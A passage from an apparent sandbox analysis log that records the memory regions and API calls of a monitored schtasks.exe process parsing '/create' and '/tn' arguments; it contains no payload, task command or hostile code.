region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2765 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2766 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2767 start_va = 0xfff90000 end_va = 0xfffd7fff monitored = 1 entry_point = 0xfffb966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2768 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2769 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2770 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2771 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2772 start_va = 0x120000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2773 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2774 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2775 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2776 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2777 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2778 start_va = 0x230000 end_va = 0x296fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2779 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2780 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2781 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2782 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2783 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2784 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2785 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2786 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2787 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2788 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2789 start_va = 0x2a0000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 2790 start_va = 0x330000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 2791 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2792 start_va = 0x430000 end_va = 0x5b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2793 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2794 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2795 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2796 start_va = 0x5c0000 end_va = 0x740fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 2797 start_va = 0x750000 end_va = 0x1b4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 2798 start_va = 0x50000 end_va = 0x61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2799 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2800 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2801 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2802 start_va = 0x1b50000 end_va = 0x1e1efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2803 start_va = 0x2a0000 end_va = 0x31cfff monitored = 0 entry_point = 0x2acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2804 start_va = 0x320000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 2805 start_va = 0x2a0000 end_va = 0x31cfff monitored = 0 entry_point = 0x2acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2806 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2807 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2808 start_va = 0x1e20000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 2809 start_va = 0x1e20000 end_va = 0x1efefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e20000" filename = "" Region: id = 2810 start_va = 0x1f40000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 2811 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2812 start_va = 0x2000000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 2813 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2814 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2815 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 2816 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2817 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2818 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2819 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2822 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 144 os_tid = 0xfa8 [0140.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x11fac0 | out: lpSystemTimeAsFileTime=0x11fac0*(dwLowDateTime=0x2229a200, dwHighDateTime=0x1d8a92a)) [0140.351] GetCurrentProcessId () returned 0xfa4 [0140.351] GetCurrentThreadId () returned 0xfa8 [0140.351] GetTickCount () returned 0x1388490 [0140.351] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x11fac8 | out: lpPerformanceCount=0x11fac8*=2061921418338) returned 1 [0140.351] GetModuleHandleW (lpModuleName=0x0) returned 0xfff90000 [0140.351] __set_app_type (_Type=0x1) [0140.351] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffb972c) returned 0x0 [0140.352] __wgetmainargs (in: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248, _DoWildCard=0, _StartInfo=0xfffd125c | out: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248) returned 0 [0140.353] _onexit (_Func=0xfffc2ab0) returned 0xfffc2ab0 [0140.353] _onexit (_Func=0xfffc2ac4) returned 0xfffc2ac4 [0140.353] _onexit (_Func=0xfffc2afc) returned 0xfffc2afc [0140.353] _onexit (_Func=0xfffc2b58) returned 0xfffc2b58 [0140.353] _onexit (_Func=0xfffc2b80) returned 0xfffc2b80 [0140.353] _onexit (_Func=0xfffc2ba8) returned 0xfffc2ba8 [0140.354] _onexit (_Func=0xfffc2bd0) returned 0xfffc2bd0 [0140.354] _onexit (_Func=0xfffc2bf8) returned 0xfffc2bf8 [0140.354] _onexit (_Func=0xfffc2c20) returned 0xfffc2c20 [0140.354] _onexit (_Func=0xfffc2c48) returned 0xfffc2c48 [0140.354] _onexit (_Func=0xfffc2c70) returned 0xfffc2c70 [0140.354] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0140.354] WinSqmIsOptedIn () returned 0x0 [0140.355] GetProcessHeap () returned 0x130000 [0140.355] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14b9b0 [0140.355] SetLastError (dwErrCode=0x0) [0140.355] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0140.355] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0140.355] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0140.355] VerifyVersionInfoW (in: lpVersionInformation=0x11f280, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x11f280) returned 1 [0140.355] GetProcessHeap () returned 0x130000 [0140.355] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14b9d0 [0140.355] lstrlenW (lpString="") returned 0 [0140.355] GetProcessHeap () returned 0x130000 [0140.356] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x2) returned 0x14b9f0 [0140.356] GetProcessHeap () returned 0x130000 [0140.356] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145950 [0140.356] GetProcessHeap () returned 0x130000 [0140.356] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14ba10 [0140.356] GetProcessHeap () returned 0x130000 [0140.356] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145980 [0140.356] GetProcessHeap () returned 0x130000 [0140.356] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x1459b0 [0140.356] GetProcessHeap () returned 0x130000 [0140.356] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x1459e0 [0140.356] GetProcessHeap () returned 0x130000 [0140.356] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145a10 [0140.356] GetProcessHeap () returned 0x130000 [0140.356] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14ba30 [0140.356] GetProcessHeap () returned 0x130000 [0140.356] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145a40 [0140.356] GetProcessHeap () returned 0x130000 [0140.356] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145a70 [0140.356] GetProcessHeap () returned 0x130000 [0140.356] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145aa0 [0140.356] GetProcessHeap () returned 0x130000 [0140.356] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145ad0 [0140.356] GetProcessHeap () returned 0x130000 [0140.356] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14ba50 [0140.356] GetProcessHeap () returned 0x130000 [0140.356] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145b00 [0140.356] GetProcessHeap () returned 0x130000 [0140.356] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145b30 [0140.356] GetProcessHeap () returned 0x130000 [0140.357] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145b60 [0140.357] GetProcessHeap () returned 0x130000 [0140.357] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145b90 [0140.357] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0140.357] SetLastError (dwErrCode=0x0) [0140.357] GetProcessHeap () returned 0x130000 [0140.357] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145bc0 [0140.357] GetProcessHeap () returned 0x130000 [0140.357] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145bf0 [0140.357] GetProcessHeap () returned 0x130000 [0140.357] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145c20 [0140.357] GetProcessHeap () returned 0x130000 [0140.357] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145c50 [0140.357] GetProcessHeap () returned 0x130000 [0140.357] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145c80 [0140.357] GetProcessHeap () returned 0x130000 [0140.357] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14ba70 [0140.357] _memicmp (_Buf1=0x14ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.357] GetProcessHeap () returned 0x130000 [0140.357] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x208) returned 0x14bc10 [0140.357] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14bc10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0140.358] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0140.360] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0140.360] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0140.362] GetProcessHeap () returned 0x130000 [0140.362] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x74e) returned 0x14c1c0 [0140.362] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0140.362] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x14c1c0 | out: lpData=0x14c1c0) returned 1 [0140.362] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0140.362] VerQueryValueW (in: pBlock=0x14c1c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x11f368, puLen=0x11f3d0 | out: lplpBuffer=0x11f368*=0x14c55c, puLen=0x11f3d0) returned 1 [0140.370] _memicmp (_Buf1=0x14ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.370] _vsnwprintf (in: _Buffer=0x14bc10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x11f348 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0140.370] VerQueryValueW (in: pBlock=0x14c1c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x11f3d8, puLen=0x11f3c8 | out: lplpBuffer=0x11f3d8*=0x14c388, puLen=0x11f3c8) returned 1 [0140.370] lstrlenW (lpString="schtasks.exe") returned 12 [0140.370] lstrlenW (lpString="schtasks.exe") returned 12 [0140.370] lstrlenW (lpString=".EXE") returned 4 [0140.370] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0140.371] lstrlenW (lpString="schtasks.exe") returned 12 [0140.372] lstrlenW (lpString=".EXE") returned 4 [0140.372] _memicmp (_Buf1=0x14ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.372] lstrlenW (lpString="schtasks") returned 8 [0140.372] GetProcessHeap () returned 0x130000 [0140.372] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145d70 [0140.372] GetProcessHeap () returned 0x130000 [0140.372] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cad0 [0140.372] GetProcessHeap () returned 0x130000 [0140.372] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cb00 [0140.372] GetProcessHeap () returned 0x130000 [0140.372] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cb30 [0140.372] GetProcessHeap () returned 0x130000 [0140.372] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14ba90 [0140.373] _memicmp (_Buf1=0x14ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.373] GetProcessHeap () returned 0x130000 [0140.373] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xa0) returned 0x14c010 [0140.373] GetProcessHeap () returned 0x130000 [0140.373] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cb60 [0140.373] GetProcessHeap () returned 0x130000 [0140.373] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cb90 [0140.373] GetProcessHeap () returned 0x130000 [0140.373] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cbc0 [0140.373] GetProcessHeap () returned 0x130000 [0140.373] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14bab0 [0140.373] _memicmp (_Buf1=0x14bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.373] GetProcessHeap () returned 0x130000 [0140.373] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x200) returned 0x14d2a0 [0140.373] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x14d2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0140.373] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0140.373] GetProcessHeap () returned 0x130000 [0140.373] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x30) returned 0x147a70 [0140.373] _vsnwprintf (in: _Buffer=0x14c010, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x11f348 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0140.373] GetProcessHeap () returned 0x130000 [0140.374] GetProcessHeap () returned 0x130000 [0140.374] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c1c0) returned 1 [0140.374] GetProcessHeap () returned 0x130000 [0140.374] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c1c0) returned 0x74e [0140.374] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c1c0 | out: hHeap=0x130000) returned 1 [0140.374] SetLastError (dwErrCode=0x0) [0140.374] GetThreadLocale () returned 0x409 [0140.374] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.375] lstrlenW (lpString="?") returned 1 [0140.375] GetThreadLocale () returned 0x409 [0140.375] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.375] lstrlenW (lpString="create") returned 6 [0140.375] GetThreadLocale () returned 0x409 [0140.375] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.375] lstrlenW (lpString="delete") returned 6 [0140.375] GetThreadLocale () returned 0x409 [0140.375] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.375] lstrlenW (lpString="query") returned 5 [0140.375] GetThreadLocale () returned 0x409 [0140.375] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.375] lstrlenW (lpString="change") returned 6 [0140.375] GetThreadLocale () returned 0x409 [0140.375] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.375] lstrlenW (lpString="run") returned 3 [0140.375] GetThreadLocale () returned 0x409 [0140.375] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.375] lstrlenW (lpString="end") returned 3 [0140.375] GetThreadLocale () returned 0x409 [0140.375] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.375] lstrlenW (lpString="showsid") returned 7 [0140.375] GetThreadLocale () returned 0x409 [0140.375] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.375] SetLastError (dwErrCode=0x0) [0140.375] SetLastError (dwErrCode=0x0) [0140.375] lstrlenW (lpString="/create") returned 7 [0140.375] lstrlenW (lpString="-/") returned 2 [0140.375] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.375] lstrlenW (lpString="?") returned 1 [0140.376] lstrlenW (lpString="?") returned 1 [0140.376] GetProcessHeap () returned 0x130000 [0140.376] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14c1c0 [0140.376] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.376] GetProcessHeap () returned 0x130000 [0140.376] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xa) returned 0x14c1e0 [0140.376] lstrlenW (lpString="create") returned 6 [0140.376] GetProcessHeap () returned 0x130000 [0140.376] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14c200 [0140.376] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.376] GetProcessHeap () returned 0x130000 [0140.376] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x14) returned 0x14c220 [0140.376] _vsnwprintf (in: _Buffer=0x14c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|?|") returned 3 [0140.376] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|create|") returned 8 [0140.376] lstrlenW (lpString="|?|") returned 3 [0140.376] lstrlenW (lpString="|create|") returned 8 [0140.376] SetLastError (dwErrCode=0x490) [0140.376] lstrlenW (lpString="create") returned 6 [0140.376] lstrlenW (lpString="create") returned 6 [0140.376] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.376] GetProcessHeap () returned 0x130000 [0140.376] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c1e0) returned 1 [0140.376] GetProcessHeap () returned 0x130000 [0140.376] RtlReAllocateHeap (Heap=0x130000, Flags=0xc, Ptr=0x14c1e0, Size=0x14) returned 0x14c240 [0140.376] lstrlenW (lpString="create") returned 6 [0140.376] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.377] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|create|") returned 8 [0140.377] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|create|") returned 8 [0140.377] lstrlenW (lpString="|create|") returned 8 [0140.377] lstrlenW (lpString="|create|") returned 8 [0140.377] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0140.377] SetLastError (dwErrCode=0x0) [0140.377] SetLastError (dwErrCode=0x0) [0140.377] SetLastError (dwErrCode=0x0) [0140.377] lstrlenW (lpString="/tn") returned 3 [0140.377] lstrlenW (lpString="-/") returned 2 [0140.377] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.377] lstrlenW (lpString="?") returned 1 